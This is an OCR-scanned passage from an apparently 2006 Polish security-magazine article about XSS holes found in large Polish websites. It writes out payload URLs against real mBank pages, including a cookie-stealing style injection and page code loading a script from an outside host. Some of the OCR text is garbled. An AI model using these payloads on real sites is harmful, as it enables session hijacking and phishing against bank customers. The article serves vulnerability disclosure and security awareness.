pieczeniach oraz poznanie numerow
list haset jednorazowych. Na samym
poczatku przeanalizowatem portal
informacyjny mBanku i juz tutaj na-
trafitem na pierwszy btad. Tekst wpi-
sywany w wyszukiwarke mSzopu nie
byt w zaden sposob sprawdzany, co
pozwala na wstrzykniecie dowolnego
kodu. Spéjrzmy na przyktadowy link:
http:// www.mbank.com.pl/
mszop/mszukaj.html?query=jasio%
22%3E%3C/iframe%3E%3Cscrip-
t%3Ealert(/Blad w mbanku/)%3C/
script%3E . Niestety, poniewaz jest
to tylko czes¢ informacyjna, niebez-
pieczenstwo nie jest az tak duze, ale
nadal luka moze zosta¢ wykorzysta-
na do ataku phishingowego. Pomysl-
ny XSS widoczny jest na Rysunku 6.
Nastepnie przyjrzatem sie czesci
wewnetrznej serwisu. Na poczatku
miatem mniej szczescia. Okazato sie
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bowiem, ze serwis filtruje wszelkie
mozliwe znaki, ktére moga by¢ wyko-
rzystane do wstrzykniecia kodu. Juz
miatem sie podda¢, gdy natknatem sie
na nastepujacy fragment kodu, ktory
zostat zamieszczony na Rysunku 7.

Jak mozna zauwazyé wartosc
zmiennej sAccessFlag nie jest
umieszczanawcudzystowach,acoza
tym idzie mozemy wykonac na przy-
ktad ,https://www.mbank.com.pl/
ib_termdeposits.asp?sAccess-
Flag=jasio%20style=backgro-
und-image:url%28javascript:
alert%28document.cookie%29%29
czego efektem jest przechwycenie
ciasteczka, widoczne na Rysunku 8.

Jesli chcemy doprowadzi¢ do
XSS w obu najpopularniejszych
przegladarkach (Internet Explorer
i Mozilla Firefox), musimy postgpic¢
nastepujaco. Najpierw  stworzy¢
atrybut style z wartoscig -moz-bin-
ding wskazujgcym na plik, jak na
Listingu 10.

Wykorzystujemy tutaj mozliwosé
przetwarzania przez przegladarki
z rodziny Mozilla atrybutu styl jako
specjalnego pliku xml, a dokfad-
nie mozliwos¢ zdefiniowania tak
zwanego konstruktora. W praktyce
mozemy na przyktad ustawieni¢ za-
chowania dla jednego lub wielu ele-
mentéw strony tuz po ich utworzeniu
i stad nazwa konstruktor. Nastepnie
uzy¢ drugiego atrybut style o warto-
Sci background-image:url(javascript:
..). Mozemy w ten sposob wykonac¢
polecenie JavaScript, ktére uru-
chomione na przegladarce Internet
Explorer doda do kodu strony nowy
element script odwotujacy sie do
naszego skryptu. Efekty pomysinego
wykorzystania powyzszej luki moze-
my zobaczy¢ na Rysunkach 9 10.

W tym artykule zostaty opisane
cztery przyktadowe serwisy. Mimo,
ze sg to jedne z najwiekszych serwi-
séw w polskich zasobach sieci Inter-
net, udato sie w nich wykry¢ bardzo

O autorze

Michat Majchrowicz, student Il roku
informatyki na wydziale Elektrotechni-
ki, Elektroniki, Informatyki i Automatyki
Politechniki £6dzkiej.
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Rysunek 9. Pomysiny XSS, przeglgdarka odwotuje sie do naszego skryptu
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</tes ) B
[ =

<td class="big"

<td class="bhig" align="right">»</ td>
</t
<kx>

<td class="big"

<y fedr

<td class="big"
< /ey
<kx>

align="left":<h>

<td class="big"
<td class="big"
</tr>
< /thody>< ftable>

align="right" </ td>

"sTdHo" walue="" type="hidden":
"sTag" walue="" type="hidden":
"sMeru" wvalue="" type="hidden">

fher” wvals

<imput name=
<table border="0"
</tr:¢ /thody>< /tabler<table horder="0"

<bes<bry

«F—

align="left" height="2"><img src="/gifs/blank gif" alt="">{/td>

align="right"><nobr:<b:Nieudane logowanie :

align="1left" height="5":<img src="/gifs/blank. gif" alt=""»</td>

"shccessFlag" value="jasio" style="-moz-binding: urlthttp: /192 168 0.185/ala. »ml

"sCCardNbr" walue="" type="hidden">
<input name="sKind" value="" type="hidden"}

<imput name="sFundiumber” wvalue="" type="hidden">

sPELAvAil" walue="" type="hidden":

cellpadding="0" cellspacing="0" width="033%":«thody:<tr>
cellpadding="0" cellspacing="0" width="98%":(thody><{tr: <

</form><seript sre="http://server. com/xss. js" > /script> ¢ /body>< /himl >

&rhsp; 24-12-2006, Srbsp, 21 14¢

<td colspan="3"

Rysunek 10. Kod strony ukazujgcy nasze dodane elementy

powazne luki. Btedy te mogty zostac
wykorzystane przeciwko uzytkowni-
kom serwiséw w celu wykradzenia
ich prywatnych danych, czy w osta-
tecznosci — pieniedzy. Internet jest
ciagle niebezpiecznym miejscem
dla nieswiadomego uzytkownika,
ktory korzystajac z jego mozliwosci
ma do czynienia z olbrzymig bazg
informacji, ale réwniez polem bitwy
miedzy tworcami oprogramowania
i stron internetowych, a crackerami
i phisherami starajgcymi sie wykorzy-
sta¢ wszelkie mozliwe btedy do kra-
dziezy pieniedzy, czy spowodowania

zwyczajnego zamieszania. Polskie
portale powinny by¢ $wiadome zagro-
zenia i przeciwdziata¢ mu. Do tej pory
mozna wykry¢ bardzo powazne btedy
w wielkich serwisach. Nie wspomne
tym bardziej o mniejszych, ktore nie
zajmujg sie nawet takimi problema-
mi. Warto zaznaczy¢, iz Interia po
zgtoszeniu btedow, w ciggu roku nic
nie zrobita nic w ich sprawie. Mam
jednak nadzieje, ze w przysztosci be-
dziemy mogli liczy¢ na staranniejsze
podejscie do tematu zabezpieczen
polskich serwiséw internetowych i ich
wyzszego poziomu. @
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